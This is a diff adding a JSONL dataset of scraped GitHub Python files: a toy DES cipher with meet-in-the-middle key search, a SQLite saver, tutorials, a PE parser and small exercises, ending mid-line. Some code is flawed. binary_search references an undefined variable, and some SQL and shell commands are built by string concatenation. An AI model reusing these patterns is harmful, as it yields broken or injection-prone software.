diff --git "a/2270.jsonl" "b/2270.jsonl" new file mode 100644--- /dev/null +++ "b/2270.jsonl" @@ -0,0 +1,556 @@ +{"seq_id":"20420043157","text":"import time\n\ns1 = [\n [1, 0, 3, 2],\n [3, 2, 1, 0],\n [0, 2, 1, 3],\n [3, 1, 3, 2]\n]\n\ns2 =[\n [0, 1, 2, 3],\n [2, 0, 1, 3],\n [3, 0, 1, 0],\n [2, 1, 0, 3]\n]\n\ninput_intial_permutation = [\n 1, 5, 2, 0,\n 3, 7, 4, 6\n]\n\noutput_permutation = [\n 3, 0, 2, 4,\n 6, 1, 7, 5\n]\n\nexpanison_table = [\n 3, 0, 1, 2,\n 1, 2, 3, 0\n]\n\nfour_bit_permute = [\n 1, 3, 2, 0\n]\n\npermute_choice1 = [\n 2, 4, 1, 6, 3,\n 9, 0, 8, 7, 5\n]\n\npermute_choice2 = [\n 5, 2, 6, 3,\n 7, 4, 9, 8\n]\n\nshift_per_round = [\n 1, 2, 2, 2\n]\n\nsub_key = []\n\n# s1 lookup with four bits\ndef s1_look_up(four_bits):\n\n colum_num = (((four_bits >> 2) & 0b1)) * 2\n colum_num = colum_num + ((four_bits >> 1) & 0b1)\n\n row_num = ((four_bits >> 3) & 0b1)* 2\n row_num = row_num + (four_bits & 0b1)\n\n lower_bit = s1[row_num][colum_num]\n\n return lower_bit\n\n\n# Calculate S\ndef combine_s(s1, s2):\n\n # Combine S's\n new_four_bit = s1 << 2\n new_four_bit += s2\n new_four_bit = new_four_bit & 0b1111\n\n return new_four_bit\n\n\n# s2 lookup with four bits\ndef s2_look_up(four_bits):\n\n colum_num = ((four_bits >> 2) & 0b1) * 2\n colum_num = colum_num + (((four_bits >> 1) & 0b1))\n\n row_num = ((four_bits >> 3) & 0b1) * 2\n row_num = row_num + ((four_bits & 0b1))\n\n upper_bit = s2[row_num][colum_num]\n\n return upper_bit\n\n\n# Change S lookup\ndef permute_4bits(four_bits):\n\n # convert decimal to binary list\n four_list = [int(i) for i in bin(four_bits)[2:]]\n\n # Fix List\n while len(four_list) < 4:\n four_list.insert(0, 0b0)\n\n # Blank list of new order\n new_order = []\n\n # Make new order\n for i in four_bit_permute:\n new_order.append(four_list[i])\n\n # Add all binary numbers up\n binary_num = 0\n for b in new_order:\n binary_num = 2 * binary_num + b\n\n return binary_num\n\n\n# Text input permutation\ndef input_permutation(eight_bit_text):\n\n # convert decimal to binary list\n text_list = [int(i) for i in bin(eight_bit_text)[2:]]\n\n while len(text_list) < 8:\n text_list.insert(0, 0b0)\n\n new_order = []\n\n for i in input_intial_permutation:\n new_order.append(text_list[i])\n\n binary_num = 0\n for b in new_order:\n binary_num = 2 * binary_num + b\n\n return binary_num\n\n\n# Exapnds rightside\ndef right_side_expand(right):\n\n # convert decimal to binary list\n right_list = [int(i) for i in bin(right)[2:]]\n\n # Fix List\n while len(right_list) < 4:\n right_list.insert(0, 0b0)\n\n # Blank list of new order\n new_order = []\n\n # Make new order\n for i in expanison_table:\n new_order.append(right_list[i])\n\n # Add all binary numbers up\n binary_num = 0\n for b in new_order:\n binary_num = 2 * binary_num + b\n\n return binary_num\n\ndef final_permutation(eight_bit_text):\n\n # convert decimal to binary list\n text_list = [int(i) for i in bin(eight_bit_text)[2:]]\n\n # Make list at least 8 bits by padding\n while len(text_list) < 8:\n text_list.insert(0, 0b0)\n\n new_order = []\n\n for i in output_permutation:\n new_order.append(text_list[i])\n\n binary_num = 0\n for b in new_order:\n binary_num = 2 * binary_num + b\n\n return binary_num\n\n\n# Initial Ciphertext Permutation\ndef initial_ciphertext_permutation(left_and_right):\n\n # convert decimal to binary list\n left_and_right = [int(i) for i in bin(left_and_right)[2:]]\n\n # Make Binary into List\n while len(left_and_right) < 10:\n left_and_right.insert(0, 0b0)\n\n # Blank list of new order\n new_order = []\n\n # Make new order\n for i in permute_choice1:\n new_order.append(left_and_right[i])\n\n # Add all binary numbers up\n binary_num = 0\n for b in new_order:\n binary_num = 2 * binary_num + b\n\n binary_num = bin(binary_num)\n binary_num = int(binary_num, 2)\n\n return binary_num\n\ndef second_permutation_cipher_function(sub_key):\n\n # convert decimal to binary list\n sub_key = [int(i) for i in bin(sub_key)[2:]]\n\n # Make list at least 28 bits by padding\n while len(sub_key) < 10:\n sub_key.insert(0, 0b0)\n\n new_order = []\n\n for i in permute_choice2:\n new_order.append(sub_key[i])\n\n binary_num = 0\n for b in new_order:\n binary_num = 2 * binary_num + b\n\n return binary_num\n\n\ndef swap(left_and_right):\n new_8bits = (left_and_right << 4 | left_and_right >> 4)\n new_8bits = new_8bits & 0b11111111\n return new_8bits\n\n\ndef function_f(key, data):\n\n # Seperate orginal left and right\n left = data & 0b11110000\n right = data & 0b00001111\n\n # Expand right, preform xor on key\n key_xor_right = key ^ right_side_expand(right)\n\n # Seperate xor result\n left_s1 = (key_xor_right & 0b11110000) >> 4\n right_s2 = key_xor_right & 0b00001111\n\n # preform s box look up\n left_s1 = s1_look_up(left_s1)\n right_s2 = s2_look_up(right_s2)\n\n # combine new S\n left_and_right = combine_s(left_s1, right_s2)\n\n # permutation\n permute = permute_4bits(left_and_right)\n permute = permute << 4\n\n # XOR permutation with left\n wrong_left = left ^ permute\n\n # combine left and right\n left_and_right = wrong_left | right\n\n return left_and_right\n\n# Makes actual keys\ndef make_sub_keys(key):\n i = 0\n\n key = initial_ciphertext_permutation(key)\n\n # Make new LEFT & RIGHT keys\n right = key & 0b11111\n left = (key >> 5) & 0b11111\n\n # 4 sub keys\n while i < 4:\n\n # Shift round key at appropriate length\n left = (left << shift_per_round[i]) | (left >> (5 - shift_per_round[i]))\n right = (right << shift_per_round[i]) | (right >> (5 - shift_per_round[i]))\n left = left & 0b11111\n right = right & 0b11111\n\n # Combine Keys\n new_key = left << 5\n new_key = new_key + right\n\n # Have left and right do sub_permutation\n new_key = second_permutation_cipher_function(new_key)\n\n i += 1\n\n sub_key.append(new_key)\n\n return\n\ndef encrypt(key, plaintext):\n\n # make subkeys\n make_sub_keys(key)\n\n # permute\n data = input_permutation(plaintext)\n\n # Function f\n data = function_f(sub_key[0], data)\n # Swap left and right\n data = swap(data)\n data = function_f(sub_key[1], data)\n data = swap(data)\n data = function_f(sub_key[2], data)\n data = swap(data)\n data = function_f(sub_key[3], data)\n\n # Final permutation\n data = final_permutation(data)\n\n # clear keys\n sub_key.clear()\n\n return data\n\n\ndef decrypt(key, ciphertext):\n\n # make subkeys\n make_sub_keys(key)\n\n # input permutation\n data = input_permutation(ciphertext)\n\n # cipher function f\n data = function_f(sub_key[3], data)\n # Swap left and right\n data = swap(data)\n data = function_f(sub_key[2], data)\n data = swap(data)\n data = function_f(sub_key[1], data)\n data = swap(data)\n data = function_f(sub_key[0], data)\n data = final_permutation(data)\n\n sub_key.clear()\n\n return data\n\nhex_text = [\n0x58,0x65,0x19,0xb0,0x31,0xaa,0xee,0x9a,0x23,0x52,\n0x47,0x60,0x1f,0xb3,0x7b,0xae,0xfb,0xcd,0x54,0xd8,\n0xc3,0x76,0x3f,0x85,0x23,0xd2,0xa1,0x31,0x5e,0xd8,\n0xbd,0xcc\n]\n\nvariable_keys = [\n 0b1000000000,\n 0b0100000000,\n 0b0010000000,\n 0b0001000000,\n 0b0000100000,\n 0b0000010000,\n 0b0000001000,\n 0b0000000100,\n 0b0000000010,\n 0b0000000001\n]\n\nkey_answers = [\n 0b01100001,\n 0b00010011,\n 0b01001111,\n 0b11100101,\n 0b01100101,\n 0b01011100,\n 0b10101110,\n 0b11011001,\n 0b10101010,\n 0b01001110\n]\n\nvariable_plain = [\n 0b10000000,\n 0b01000000,\n 0b00100000,\n 0b00010000,\n 0b00001000,\n 0b00000100,\n 0b00000010,\n 0b00000001\n]\n\nplain_answers = [\n 0b10101000,\n 0b10111110,\n 0b00010110,\n 0b01001010,\n 0b01001001,\n 0b01001110,\n 0b00010101,\n 0b01101000\n]\n\npermutation_known = [\n 0b11,\n 0b0011001010,\n 0b0001011001,\n 0b1011001111\n]\npermutation_answers = [\n 0b11,\n 0b100010,\n 0b1000000,\n 0b1100000\n]\n\nsubsitution_known = [\n 0b1101101,\n 0b1101110,\n 0b1110000,\n 0b1110001,\n 0b1110110,\n 0b1111000,\n 0b1111001\n]\n\nsubsitution_answers = [\n 0b10000111,\n 0b10110110,\n 0b10110100,\n 0b00110011,\n 0b11011001,\n 0b10001101,\n 0b00010001\n]\n\ndef test_of_PLAINTEXT():\n for i in range(len(variable_plain)):\n\n if encrypt(0b0, variable_plain[i]) == plain_answers[i]:\n print(\"Plaintext Test SUCCESS!\")\n\n else:\n print(\"Plaintext Test FAILED!\")\n\n\ndef test_of_KEYS():\n for i in range(len(variable_keys)):\n\n if encrypt(variable_keys[i], 0b0) == key_answers[i]:\n print(\"Variable Key Test SUCCESS!\")\n\n else:\n print(\"Variable Key Test FAILED!\")\n\n\ndef test_of_PERMUTATION():\n for i in range(len(permutation_known)):\n\n if encrypt(permutation_known[i], 0b0) == permutation_answers[i]:\n print(\"Permutation Test SUCCESS!\")\n\n else:\n print(\"Permutation Test FAILED!\")\n\n\ndef test_of_SUBSITUTION():\n for i in range(len(subsitution_known)):\n\n if encrypt(subsitution_known[i], 0b0) == subsitution_answers[i]:\n print(\"Substitution Test SUCCESS!\")\n\n else:\n print(\"Substitution Test FAILED!\")\n\n\ndef double_des_break():\n i_1, i_0, j_1, j_0 = [], [], [], []\n\n print(\"PLEASE WAIT! Attempting meet-in-middle attack...\")\n\n begin = time.time()\n\n #dictonary1 = defaultdict(list)\n dictonary1 = {}\n key_pairs = []\n\n for z in range(1024):\n plain = encrypt(int(z), 0x42)\n dictonary1[plain] = []\n\n for z in range(1024):\n plain = encrypt(int(z), 0x42)\n dictonary1[plain].append(z)\n\n #dictonary1.clear()\n for y in range(1024):\n\n cipher = decrypt(y, 0x52)\n\n if cipher in dictonary1.keys():\n for key in dictonary1[cipher]:\n key_pairs.append((y, key))\n\n print(\"Finished with 0x42 and 0x52\")\n print(\"Number of i: \", len(key_pairs))\n print(\"Number of j: \", len(key_pairs))\n print()\n\n for i in range(len(key_pairs)):\n\n plain = encrypt(key_pairs[i][1], 0x72)\n cipher = decrypt(key_pairs[i][0], 0xf0)\n\n if plain == cipher:\n i_0.append(key_pairs[i][1])\n j_0.append(key_pairs[i][0])\n\n print(\"Finished with 0x72 and 0xf0\")\n print(\"Number of i: \", len(i_0))\n print(\"Number of j: \", len(j_0))\n print()\n j_1.clear()\n i_1.clear()\n\n for i in range(len(i_0)):\n\n plain = encrypt(int(i_0[i]), 0x75)\n cipher = decrypt(int(j_0[i]), 0xbe)\n\n if plain == cipher:\n j_1.append(j_0[i])\n i_1.append(i_0[i])\n\n print(\"Finished wih 0x75 and 0xbe\")\n print(\"Number of i: \", len(i_1))\n print(\"Number of j: \", len(j_1))\n print()\n j_0.clear()\n i_0.clear()\n\n for i in range(len(i_1)):\n\n plain = encrypt(int(i_1[i]), 0x74)\n cipher = decrypt(int(j_1[i]), 0x69)\n\n if plain == cipher:\n j_0.append(j_1[i])\n i_0.append(i_1[i])\n\n print(\"Finished with 0x74 and 0x69\")\n print(\"Number of i: \", len(i_0))\n print(\"Number of j: \", len(j_0))\n print()\n j_1.clear()\n i_1.clear()\n\n for i in range(len(i_0)):\n\n plain = encrypt(int(i_0[i]), 0x65)\n cipher = decrypt(int(j_0[i]), 0x8a)\n\n if plain == cipher:\n j_1.append(j_0[i])\n i_1.append(i_0[i])\n\n end = time.time()\n print(\"Finished with 0x65 and 0x8a\")\n print(\"Number of i: \", len(i_0))\n print(\"Number of j: \", len(j_0))\n print()\n\n print(\"Finished!\")\n print(\"The i keys were found to be\", i_1)\n print(\"The j keys were found to be\", j_1)\n print(\"Total time in seconds:\", end-begin)\n\n\ndef brute_force():\n i_1, i_0, j_1, j_0 = [], [], [], []\n\n print(\"PLEASE WAIT! Attempting brute force attack...\")\n\n begin = time.time()\n\n for i in range(1024):\n\n plain = encrypt(int(i), 0x42)\n\n for j in range(1024):\n if decrypt(int(j), 0x52) == plain:\n i_1.append(i)\n j_1.append(j)\n\n print(\"Finished with 0x42, and 0x52\")\n print(\"Number of i: \", len(i_1))\n print(\"Number of j: \", len(j_1))\n print()\n\n for i in range(len(i_1)):\n\n plain = encrypt(int(i_1[i]), 0x72)\n cipher = decrypt(int(j_1[i]), 0xf0)\n\n if plain == cipher:\n j_0.append(j_1[i])\n i_0.append(i_1[i])\n\n print(\"Finished with 0x72 and 0xf0\")\n print(\"Number of i: \", len(i_0))\n print(\"Number of j: \", len(j_0))\n print()\n j_1.clear()\n i_1.clear()\n\n for i in range(len(i_0)):\n\n plain = encrypt(int(i_0[i]), 0x75)\n cipher = decrypt(int(j_0[i]), 0xbe)\n\n if plain == cipher:\n j_1.append(j_0[i])\n i_1.append(i_0[i])\n\n print(\"Finished wih 0x75 and 0xbe\")\n print(\"Number of i: \", len(i_1))\n print(\"Number of j: \", len(j_1))\n print()\n j_0.clear()\n i_0.clear()\n\n for i in range(len(i_1)):\n\n plain = encrypt(int(i_1[i]), 0x74)\n cipher = decrypt(int(j_1[i]), 0x69)\n\n if plain == cipher:\n j_0.append(j_1[i])\n i_0.append(i_1[i])\n\n print(\"Finished with 0x74 and 0x69\")\n print(\"Number of i: \", len(i_0))\n print(\"Number of j: \", len(j_0))\n print()\n j_1.clear()\n i_1.clear()\n\n for i in range(len(i_0)):\n\n plain = encrypt(int(i_0[i]), 0x65)\n cipher = decrypt(int(j_0[i]), 0x8a)\n\n if plain == cipher:\n j_1.append(j_0[i])\n i_1.append(i_0[i])\n\n end = time.time()\n print(\"Finished with 0x65 and 0x8a\")\n print(\"Number of i: \", len(i_0))\n print(\"Number of j: \", len(j_0))\n print()\n\n print(\"Finished!\")\n print(\"The i keys were found to be\", i_1)\n print(\"The j keys were found to be\", j_1)\n print(\"Total time in seconds:\", end - begin)\n\ndef ecb_mode():\n\n print(\"PLEASE WAIT! Attempting CBC mode...\")\n\n sub_key.clear()\n mod_bit = 0x9c\n key1 = 831\n key2 = 339\n\n for i in range(len(hex_text)):\n\n plain_text = decrypt(key2, int(hex_text[i]))\n plain_text = decrypt(key1, plain_text)\n plain_text = plain_text ^ mod_bit\n print(chr(plain_text), end ='')\n mod_bit = hex_text[i]\n\n\n\n\nif __name__ == '__main__':\n test_of_PLAINTEXT()\n print(\"-------------------------\\n\")\n test_of_KEYS()\n print(\"-------------------------\\n\")\n test_of_PERMUTATION()\n print(\"-------------------------\\n\")\n test_of_SUBSITUTION()\n print(\"-------------------------\\n\")\n double_des_break()\n print(\"-------------------------\\n\")\n brute_force()\n print(\"-------------------------\\n\")\n ecb_mode()\n\n","repo_name":"Watkins7/Simple-DES-Encryption","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":14612,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"41476994633","text":"# -*- coding = utf-8 -*-\n# @Time :21/4/11 21:38\n# @Author: 吕佳杰\n# @File :testSQLite.py\n# @Software:PyCharm\nimport sqlite3\nfrom get_title_bs_all import get_data\n\n# 操作难点:就是拼接一个sql语句\n\n# 初始化一个数据库,名字呀,表格结构\ndef init_db(path):\n # 创建一个movie250的表格,并设备字段和主键\n # 'name,link,img,common,rating,comment,inq'\n sql = '''\n create table if not exists movie250(\n id integer primary key autoincrement,\n name text,\n link text,\n img varchar ,\n common varchar ,\n rating numeric ,\n comment numeric ,\n inq text\n );\n '''\n # id,name,link,img,common,rating,comment,inq\n # 真正的创建过程\n conn = sqlite3.connect(path)\n cursor = conn.cursor()\n cursor.execute(sql)\n conn.commit()\n conn.close()\n# 然后往数据库里写数据,这里要用到数据库操作相关的语句\ndef save_sqlite(datalist):\n # 链接数据库\n conn = sqlite3.connect(path)\n cur = conn.cursor()\n\n len_row = len(datalist)\n len_col = len(datalist[0])\n\n for data in datalist:\n\n # 由于sqlite的特点,每个要插入的内容,需要用双引号括起来\n for index in range(len_col):\n data[index] = str(data[index]).replace(\"'\",'').replace('\"','')\n data[index] = '\"' + data[index] + '\"'\n sql = '''insert into movie250 (name,link,img,common,rating,comment,inq)\n values(%s)''' % ','.join(data)\n # print(sql)\n cur.execute(sql)\n conn.commit()\n cur.close()\n conn.close()\n\n\n\n\n\n\nif __name__ == '__main__':\n path = 'movie250.db'\n datalist = get_data()\n init_db(path)\n save_sqlite(datalist)","repo_name":"dlmuljj/scrapy","sub_path":"test/saveData/testSQLite.py","file_name":"testSQLite.py","file_ext":"py","file_size_in_byte":1781,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"25134080038","text":"import sys\r\nT = int(sys.stdin.readline())\r\narr = []\r\nfor _ in range(T):\r\n n = int(sys.stdin.readline())\r\n arr.append(n)\r\n\r\n\r\ndef isPrime(partition):\r\n for x in range(2, int(partition**0.5)+1):\r\n if partition % x == 0:\r\n return False\r\n return True\r\n\r\n\r\nfor num in arr:\r\n partition1, partition2 = num//2, num//2\r\n while partition1 > 0:\r\n if isPrime(partition1) and isPrime(partition2):\r\n print(partition1, partition2)\r\n break\r\n else:\r\n partition1 -= 1\r\n partition2 += 1\r\n","repo_name":"sunghwan95/Algorithm","sub_path":"백준/Silver/9020. 골드바흐의 추측/골드바흐의 추측.py","file_name":"골드바흐의 추측.py","file_ext":"py","file_size_in_byte":563,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"20935751218","text":"# ---------------------------------------------DATA STRUCTURE AND ALGORITHMS----------------------------------------------------------\n\n# LISTS\nmy_list = [1, 2, 3, 4, 5, 6, 7]\nprint(my_list)\nprint(my_list[0]) # Output: 1\n\nmy_list = [[1, 2, 3, 4, 5], [6, 7, 8, 9, 10]]\nprint(my_list)\n\n# TUPLES\nmy_tuple = (1, 2, 3, 4, 5, 6)\nprint(my_tuple)\nprint(my_tuple[1]) # Output: 2\n\n# SETS\nmy_set = {1, 2, 3, 4, 5, 6}\nprint(my_set)\nmy_set.add(7)\n\n# DICTIONARIES\nmy_dict = {\"name\": \"Santosh\", \"age\": \"20\", \"city\": \"Bathinda\"};\nprint(my_dict)\nprint(my_dict[\"name\"])\n\n# STACKS\nstack = []\nstack.append(1)\nstack.append(2)\nstack.append(3)\nstack.append(4)\nprint(stack) # Output: [1, 2, 3, 4]\ntop_itme = stack.pop()\nprint(top_itme) # Output: 4\n\n\n# QUEUES\nfrom collections import deque\n\nqueue = deque()\nqueue.append(1)\nqueue.append(2)\nqueue.append(3)\nqueue.append(4)\nprint(queue) # Output: deque([1, 2, 3, 4])\nfront_item = queue.popleft()\nprint(front_item) # Output: 1\n\n\n# LINKED LISTS\nclass Node: \n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n else:\n current = self.head\n while current.next:\n current = current.next\n current.next = new_node\n\n\n# SEARCHING AND SORTING ALGORITHMS\n# LINEAR SEARCH\ndef linear_search(arr, target):\n for i in range(len(arr)):\n if arr[i] == target:\n return i\n return -1\n\n\n# BINARY SEARCH\ndef binary_search(arr, target):\n low = 0\n high = len(arr) - 1\n while low <= right:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n\n# BUBBLE SORT\ndef bubble_sort(arr): \n n = len(arr)\n for i in range(n - 1):\n for j in range(n - i - 1): \n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n\n\n# Example usage:\nmy_list = [5, 2, 8, 12, 1]\nbubble_sort(my_list)\nprint(my_list) # Output: [1, 2, 5, 8, 12]\n\n\n# MERGE SORT \ndef merge_sort(arr):\n if len(arr) > 1:\n mid = len(arr) // 2\n left = arr[:mid]\n right = arr[mid:]\n merge_sort(left)\n merge_sort(right)\n merge(arr, left, right)\n\n\n# MEGER FUNCTION\ndef merge(arr, left, right):\n i = j = k = 0\n while i < len(left) and j < len(right):\n if left[i] < right[j]:\n arr[k] = left[i]\n i += 1\n else:\n arr[k] = right[j]\n j += 1\n k += 1\n\n while i < len(left):\n arr[k] = left[i]\n i += 1\n k += 1\n\n while j < len(right):\n arr[k] = right[j]\n j += 1\n k += 1\n\n\n# Example usage:\nmy_list = [5, 2, 8, 12, 1]\nmerge_sort(my_list)\nprint(my_list) # Output: [1, 2, 5, 8, 12]\n\n\n","repo_name":"kumarsantosh3914/PythonGettingStarted","sub_path":"DataStructureAndAlgorithms/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3001,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"41630418864","text":"# @mindmaze_header@\n\"\"\"\nhelper module containing pe parsing functions\n\"\"\"\n\nimport os\nfrom os.path import join as joinpath\nfrom typing import Optional\n\nimport pefile\n\nfrom .common import shell\nfrom .decorators import singleton\n\n# pylint: disable=unused-import\n# PE module does not need to change anything from the base Provide class\nfrom .provide import Provide as ShlibProvide\n\n# Monkey patch pefile to accept function name that contains '.'\npefile.allowed_function_name += b'.'\n\n\ndef soname(filename: str) -> str:\n \"\"\"\n Return the SONAME of given library\n \"\"\"\n return os.path.basename(filename)\n\n\n@singleton\nclass SystemLibs(set):\n \"\"\"\n cache of system libraries\n \"\"\"\n\n def __init__(self):\n # pylint: disable=super-init-not-called\n\n winroot = os.getenv('SYSTEMROOT')\n sysdirs = (\n winroot,\n joinpath(winroot, 'system32'),\n )\n\n for path in sysdirs:\n self.update({f.lower() for f in os.listdir(path)\n if f.endswith(('.dll', '.DLL'))})\n\n\ndef build_id(filename: str) -> Optional[str]:\n \"\"\"\n return build id note. Returns None if not found.\n \"\"\"\n pe_file = pefile.PE(filename)\n try:\n for dbgsec in pe_file.DIRECTORY_ENTRY_DEBUG:\n try:\n entry = dbgsec.entry\n return b''.join((entry.Signature_Data1.to_bytes(4, 'big'),\n entry.Signature_Data2.to_bytes(2, 'big'),\n entry.Signature_Data3.to_bytes(2, 'big'),\n entry.Signature_Data4)).hex()\n except AttributeError:\n continue\n except AttributeError:\n pass\n finally:\n pe_file.close()\n\n return None\n\n\ndef soname_deps(filename):\n \"\"\"\n Parse given pe file and return its dependency soname list\n \"\"\"\n pe_file = pefile.PE(filename)\n\n soname_set = set()\n try:\n for dll in pe_file.DIRECTORY_ENTRY_IMPORT:\n dll = dll.dll.decode('utf-8').lower()\n if dll not in SystemLibs():\n soname_set.add(dll)\n except AttributeError: # parsed pe file has no IMPORT section\n pass\n\n return soname_set\n\n\ndef symbols_set(filename):\n \"\"\"\n Parse given pe file and return its exported symbols as a set.\n \"\"\"\n pe_file = pefile.PE(filename)\n\n export_set = set()\n try:\n for sym in pe_file.DIRECTORY_ENTRY_EXPORT.symbols:\n export_set.add(sym.name.decode('utf-8'))\n except AttributeError: # parsed pe file has no EXPORT section\n return set()\n\n return export_set\n\n\ndef undefined_symbols(filename):\n \"\"\"\n Parse given pe file and return its undefined symbols set\n \"\"\"\n # pefile populates its objects while parsing the file\n # (which is a bad idea)\n # as a result, pe_file does not have all its attributes\n # defined by default\n # pylint: disable=no-member\n pe_file = pefile.PE(filename)\n\n undefined_symbols_set = set()\n for dll in pe_file.DIRECTORY_ENTRY_IMPORT:\n if dll.dll.decode('utf-8').lower() in SystemLibs():\n continue\n\n for sym in dll.imports:\n undefined_symbols_set.add(sym.name.decode('utf-8'))\n\n return undefined_symbols_set\n\n\ndef get_dll_from_soname(library_name: str) -> str:\n \"\"\"\n get dll from soname\n \"\"\"\n # FIXME: workaround\n path = shell('which ' + library_name).strip()\n return shell('cygpath -m ' + path).strip()\n","repo_name":"mmlabs-mindmaze/mmpack","sub_path":"src/mmpack_build/pe_utils.py","file_name":"pe_utils.py","file_ext":"py","file_size_in_byte":3471,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"20"} +{"seq_id":"14943875662","text":"\"\"\"\nAuthor: Brenden Johnson\nAssignment: Project 3 - Task 1\nDate: 3-2-2023\nCourse: 2520.01\n\"\"\"\nfrom cryptography.fernet import Fernet\n\n\n# Task 1\n# Returns number of character in string\ndef get_num_of_characters(strng):\n n = 0\n for char in strng:\n n += 1\n return n\n\n\n# Removes white spaces from string\ndef output_without_whitespace(strng):\n newStr = strng.replace(\" \", \"\")\n # newStr = newStr.replace(\"\\t\", \"\")\n return newStr\n\n\n# Encrypts String using Fernet\ndef get_safe(strng, key):\n fern = Fernet(key)\n encrypted = fern.encrypt(strng.encode())\n return encrypted\n\n\n# Decrypt string using Fernet\ndef go_recover(strng, key):\n fern = Fernet(key)\n decrypted = fern.decrypt(strng).decode()\n return decrypted\n\n\n# Prompts for input and execute all 4 functions\ndef main():\n sentence = input(\"Please enter a sentence or phrase: \")\n print(\"You have entered: \" + sentence)\n print(\"Number of characters = \", get_num_of_characters(sentence))\n print(\"Whitespaces removed: \" + output_without_whitespace(sentence))\n key = Fernet.generate_key()\n encryptedMsg = get_safe(sentence, key)\n print(\"Encrypted Message: \", encryptedMsg)\n print(\"Decrypted Message: \" + go_recover(encryptedMsg, key))\n\n\nif __name__ == \"__main__\":\n main()\n\n\n'''\nOutput\n\nTest Case 1\nPlease enter a sentence or phrase: The only thing we have to fear is fear itself.\nYou have entered: The only thing we have to fear is fear itself.\nNumber of characters = 46\nWhitespaces removed: Theonlythingwehavetofearisfearitself.\nEncrypted Message: b'gAAAAABkANP12DV8ZHzquzgU7CsgTXBUePp8ing4nBPoUkkHYIqkJIrz8u8jjnLmeHoWQRrbI3yVfAI332Ninp5wbMYYFfnA1yvw2JMhdZxO8RlzgPAk-HQ-eHPtu2iWrju7taCkCCcW'\nDecrypted Message: The only thing we have to fear is fear itself.\n\nTest Case 2\nPlease enter a sentence or phrase: my grandpa went to the bathroom and it smells\nYou have entered: my grandpa went to the bathroom and it smells\nNumber of characters = 45\nWhitespaces removed: mygrandpawenttothebathroomanditsmells\nEncrypted Message: b'gAAAAABkANUMVVxGv8g4CS6rLnAGlllGVnZZirZlBw4PMEHJouT0VYDRzl-Ae0NbeVKHzAivwR_-W3wRUMw5J6kwctcP8Q1jHYZteu1u0EhxgbKjZG1Emqju_NGO1kNj9f4O-i4HHnTp'\nDecrypted Message: my grandpa went to the bathroom and it smells\n\nTest Case 3\nPlease enter a sentence or phrase: I like chocolate.\nYou have entered: I like chocolate.\nNumber of characters = 17\nWhitespaces removed: Ilikechocolate.\nEncrypted Message: b'gAAAAABkANVUrPhtvOzmYKli_JR884zmNWHV7TIU7bc0j3S-DZQk6l5G41nBjf68SVDcrYy1LR1QAhGs8J3loqYcrrpEZiZ3hV08AfPYmfU_7Fz3lPRK2w0='\nDecrypted Message: I like chocolate.\n'''","repo_name":"BVolt/Python_Coursework","sub_path":"Projects/P2_Task1_BJohnson.py","file_name":"P2_Task1_BJohnson.py","file_ext":"py","file_size_in_byte":2593,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"42457389516","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nclass User:\n name: str\n age: int\n\n def __init__(self, name: str, age: int):\n self.name = name\n self.age = age\n\ndef is_around_30(user: User):\n return user.age >= 27 and user.age <= 30\n\n\nuser = User(\"Batman\", 29)\nis_around_30(user)\n#is_around_30(\"xxx\")\n","repo_name":"RioKKH/python_example","sub_path":"type_hint_class1.py","file_name":"type_hint_class1.py","file_ext":"py","file_size_in_byte":325,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"1095785428","text":"state_strings = ['outside', 'count_compound', 'new_token', 'continue_token',\n 'count_token', 'charge', 'charge_wait', 'charge_count', \n 'charge_end', 'state_wait', 'state', 'yields', 'double', \n 'bidirectional', 'equilibrium', 'titration', 'error']\n\nwith open(\"chemset.js\", \"r\") as f, open(\"chemset.pre.min.js\", \"w\") as out:\n text = f.read()\n for i, string in enumerate(state_strings):\n letter = chr(ord(\"a\")+i)\n dic_version = \"'{}':\".format(string)\n str_version = \"'{}'\".format(string)\n text = text.replace(dic_version, letter+\":\")\n text = text.replace(str_version, \"'{}'\".format(letter))\n out.write(text)\n","repo_name":"porglezomp/chemset.js","sub_path":"pre_minify.py","file_name":"pre_minify.py","file_ext":"py","file_size_in_byte":699,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"37224623799","text":"#kulanıcıdan 10 adet sayı alalım ✅\n#ve bu sayılar arasından en büyük 2. olanı kullanıcıya gösterelim ✅\n\n#döngüler-loops\n#for loop\n# i=0 , i = i + 1\n# 0,1,2,3,4,5,6,7,8,9 < 10\n\n#sayilar = []\n# 0 dan başlat, 10'dan küçük olana kadar döngüyü çalıştır, \n# döngü her çalıştığında i değerini 1 artır\n#for i in range(3):\n# sayilar.append(int(input(f\"{i+1}. sayıyı giriniz: \"))) #25\n#sayilar.sort(reverse=True)\n#enBuyukN = int(input(\"Sayılar arasından en büyük kaçıncı elemanı istiyorsun? \"))\n#print(sayilar[enBuyukN - 1])\n\n\n## end\n\n\n# kullanıcın vereceği üst limit ile\n# 0dan üst limite kadar olan tüm çift sayıları yazdıralım\n#forRange = int(input(\"Üst limit belirleyiniz: \"))\n# for i in range(forRange+1):\n# if i % 2 == 0:\n# print(i)\n#start => döngü kaç sayısından başlasından\n#stop => döngü kaç sayısında son bulsun\n#step => döngü kaç kaç artırılsın\n#for i in range(0,forRange+1,2):\n #print(i)\n## end\n\n\n## 3. ister => 2. isterdeki alt limit kullanıcı belirlemelidir\n\nforRangeMin = int(input(\"Döngünün alt limitini belirleyiniz: 